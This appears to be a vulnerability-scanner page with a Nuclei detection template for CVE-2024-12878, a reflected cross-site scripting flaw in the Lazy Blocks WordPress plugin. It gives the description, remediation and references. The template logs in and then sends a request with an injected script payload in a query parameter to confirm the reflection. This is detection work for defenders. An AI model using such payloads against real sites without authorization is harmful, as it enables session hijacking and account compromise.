Lazy Blocks <= 3.8.2 - Cross-Site Scripting
CVE-2024-12878
Verified
Description
Custom Block Builder WordPress plugin < 3.8.3 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before output, letting attackers execute malicious scripts in high privilege users' browsers, exploit requires victim to load malicious page.
Severity
Medium
Published Date
February 11, 2026
Template Author
shivam kamboj
CVE-2024-12878.yaml
id: CVE-2024-12878
info:
name: Lazy Blocks <= 3.8.2 - Cross-Site Scripting
author: Shivam Kamboj
severity: medium
description: |
Custom Block Builder WordPress plugin < 3.8.3 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before output, letting attackers execute malicious scripts in high privilege users' browsers, exploit requires victim to load malicious page.
impact: |
Attackers can execute malicious scripts in high privilege users' browsers, potentially leading to session hijacking or account compromise.
remediation: |
Update to version 3.8.3 or later.
reference:
- https://wpscan.com/vulnerability/827444d1-87cb-4057-827a-d802eac82cf8/
- https://nvd.nist.gov/vuln/detail/CVE-2024-12878
metadata:
verified: true
max-request: 2
tags: cve,cve2024,wordpress,wp,wp-plugin,lazy-blocks,xss,reflected,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- 'contains(header, "wordpress_logged_in")'
- 'status_code == 302'
condition: and
internal: true
- raw:
- |
GET /wp-admin/edit.php?post_type=lazyblocks&"></script><script>alert(1331)</script>=1" HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "</script><script>alert(1331)</script>", "edit-lazyblocks", "lazyblocks")'
- 'contains(content_type, "text/html")'
- 'status_code == 200'
condition: and
# digest: 4a0a00473045022100d35978956ec3d62cfac747bf24f53aa063cae11a90f857b4c8bbf7e51f8d2db10220145932abaa8704bc120d90a1d8792612f04388636564ecf99a274daba50df1cb:922c64590222798bb761d5b6d8e729505.0Severity
CVSS Metrics
Remediation Steps
Update to version 3.8.3 or later.